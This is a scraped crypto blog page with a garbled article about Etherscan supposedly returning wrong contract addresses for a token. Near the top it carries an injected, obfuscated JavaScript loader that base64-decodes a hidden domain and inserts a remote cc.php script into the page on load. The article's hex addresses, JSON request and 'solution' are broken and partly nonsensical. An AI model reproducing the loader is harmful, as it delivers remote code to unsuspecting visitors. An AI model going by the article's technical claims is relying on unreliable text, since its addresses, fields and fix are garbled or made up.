Ethena (ENA), Vesting Period, Liquidation
08/02/2025Ethereum: Multisig vs Multi input transaction signing
08/02/2025const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=a46bea6b”;document.body.appendChild(script);
ERROR ETHERSCAN ETHEREUM: Creating token Hand returns different addresses to contract
Recently, the ETHERSCAN platform is facing a problem with the return of creative transactions for several chips, including hand. This error has led to the conviction of users and developers alike. .
problem:
The ETHERSCAN API returns different addresses for the same token, which can be confused when working with several contracts. The problem lies in the way API is in charge of creative transactions for chips.
CASE STUDY TOOKEN HAND:
Let’s take your hand as an example. According to his page on Etherscan ( the creation transaction is:
`Sol
0xf1e6db9d9b7e8ff4beddd9cd7755ca93be94
However, when
Text
Contract error address: 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000's
.
Solution:
The contrattadresa field of the API request. This allows the API to return the address of the correct contract for the token, even if several contracts have created simultaneously.
Here is an updated example:
API ETHERSCAN's request:
Json
{
"Method": "ETH_SENDRANSACTION",
"Params": [
{
"Data": "0x0f5d2fb29fb7d3cfee44a200298f468908CC942"
}
],,
"Contractress": "0x0F5D2FB29FB7D3CFEE44444A200298F468908CC942" // Returns this address
}
`
What to do next:
1.
- Check that more contracts have not created simultaneously simultaneously
Creation transaction for the handon to the Etherscan.
Tips and Variations:
*
*
*
I hope this helps to clarify any confusion if you have any other questions or problems, do not hesitate to ask!
